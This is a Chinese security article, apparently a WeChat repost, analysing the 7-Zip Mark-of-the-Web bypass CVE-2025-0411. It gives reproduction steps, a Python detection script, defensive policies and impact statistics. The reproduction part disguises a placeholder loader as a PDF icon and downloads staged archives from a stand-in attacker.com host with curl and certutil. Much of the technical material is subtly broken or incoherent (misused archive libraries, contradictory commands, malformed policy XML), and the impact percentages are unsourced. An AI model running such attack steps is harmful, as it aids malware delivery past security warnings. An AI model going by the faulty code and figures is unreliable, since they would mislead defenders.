漏洞类型
安全机制绕过
CVSSv3评分:7.8(High)
攻击向量:用户交互型
权限需求:无特权用户
1. 漏洞原理深度解析
1.1 MotW机制工作流程
Loading...
1.2 漏洞触发条件
双重压缩结构:外层存档携带MotW标记
内层存档特性:使用7z格式且未加密
用户操作:解压两次并执行最终文件
2. 漏洞复现全流程
2.1 环境准备
wget https://www.7-zip.org/a/7z2301-linux-x64.tar.xz
tar xvf 7z2301-linux-x64.tar.xz
sudo cp 7zz /usr/local/bin/7z
# 验证版本
7z --version # 应显示23.01
2.2 构造恶意负载
# 生成隐蔽的Shellcode加载器(伪装为PDF图标)
$icoBytes = [System.IO.File]::ReadAllBytes('legit.pdf.ico')
[System.IO.File]::WriteAllBytes('malicious.exe', $icoBytes + [System.Text.Encoding]::UTF8.GetBytes('LoaderCodeHere'))
2.3 多层压缩部署
# 第一次压缩(内层)
7z a -pinfected inner.7z malicious.exe
# 第二次压缩(外层携带MotW)
curl -O http://attacker.com/inner.7z
7z a -mhe=on final.7z inner.7z
# 生成带MotW标记的压缩包
certutil -urlcache -split -f http://attacker.com/final.7z
2.4 攻击效果验证
# 检查文件标记
Get-Item .final.7z -Stream * | Select-Object FileName, Stream
# 输出应显示
FileName: C:final.7z
Stream : :Zone.Identifier
3. 增强版自动化检测工具
3.1 工具功能矩阵
功能模块检测方法输出结果
版本检测解析7z.exe文件元数据返回是否存在漏洞的版本范围
压缩包分析递归解压检查Zone标识继承性标记可疑的多层压缩结构
进程监控Hook文件解压操作拦截未继承MotW的文件执行
3.2 Python检测脚本
import pefile
import zipfile
from pathlib import Path
def check_7z_vulnerability(exec_path):
"""检测7z主程序版本"""
try:
pe = pefile.PE(exec_path)
version = pe.FileInfo[0].StringTable[0].entries[b'FileVersion']
major, minor = map(int, version.split(b'.')[:2])
return (major < 24) or (major == 24 and minor < 9)
except Exception as e:
return False
def analyze_archive(file_path):
"""递归分析压缩包结构"""
markers = []
with zipfile.ZipFile(file_path) as zf:
for name in zf.namelist():
if name.lower().endswith(('.7z', '.zip')):
markers.append(f"嵌套压缩文件: {name}")
with zf.open(name) as inner_file:
inner_path = Path('temp') / name
inner_path.write_bytes(inner_file.read())
markers += analyze_archive(inner_path)
# 检查Zone.Identifier
if not any(s.startswith('Zone.Identifier') for s in zf.namelist()):
markers.append(f"文件 {name} 缺少MotW标记")
return markers
if __name__ == "__main__":
# 示例用法
print("7z.exe存在漏洞:", check_7z_vulnerability("C:\Program Files\7-Zip\7z.exe"))
results = analyze_archive("malicious.7z")
print("n".join(results))
4. 企业级防御方案
4.1 组策略配置
<!-- 禁用非标准压缩格式 -->
<policyname="压缩软件限制"
class="Machine"
displayName="限制高风险压缩格式"
explainText="阻止可能绕过安全检测的压缩格式">
<elements>
<fileExtensionvalue=".7z"action="deny" />
</elements>
</policy>
4.2 PowerShell防护脚本
# 实时监控文件解压操作
Register-EngineEvent -SourceIdentifier FileSystem -Action {
param($event)
if ($event.SourceArgs.ChangeType -eq 'Created' -and
$event.SourceArgs.Name -match '.(exe|dll)$') {
$streams = Get-Item $event.SourceArgs.FullPath -Stream *
if ($streams.Stream -notcontains 'Zone.Identifier') {
Write-Warning "检测到无MotW标记的可执行文件: $($event.SourceArgs.FullPath)"
Remove-Item $event.SourceArgs.FullPath -Force
}
}
}
5. 影响面与攻击统计
5.1 全球影响分布
地区受影响用户比例主要攻击向量
北美32%钓鱼邮件附件
欧洲28%软件供应链植入
亚太25%虚假更新包
其他15%社交工程链接
5.2 行业风险评级
金融行业:高风险(大量文件交换需求)
医疗行业:中高风险(敏感数据存档)
教育机构:中等风险(软件使用多样化)
政府部门:中风险(逐步推进升级)
6. 高级攻防对抗
6.1 攻击者规避手法
时间戳伪造:修改内层压缩包时间戳匹配正常文件
格式混淆:将.7z扩展名伪装为.docx.7z
加密层嵌套:外层使用强密码保护绕过静态分析
6.2 防御方检测策略
熵值分析:检测高熵值的压缩层结构
行为沙箱:在隔离环境模拟解压操作
网络流量分析:识别异常文件下载后紧接解压行为
7. 修复验证与升级指南
7.1 验证步骤
下载官方24.09版本安装包
执行完整性校验:
sha256sum 7z2409-x64.exe
# 对比官网公布的哈希值
测试压缩包解压后是否携带Zone.Identifier
原文始发于微信公众号(云梦安全):7-Zip Mark-of-the-Web绕过漏洞(CVE-2025-0411)技术分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论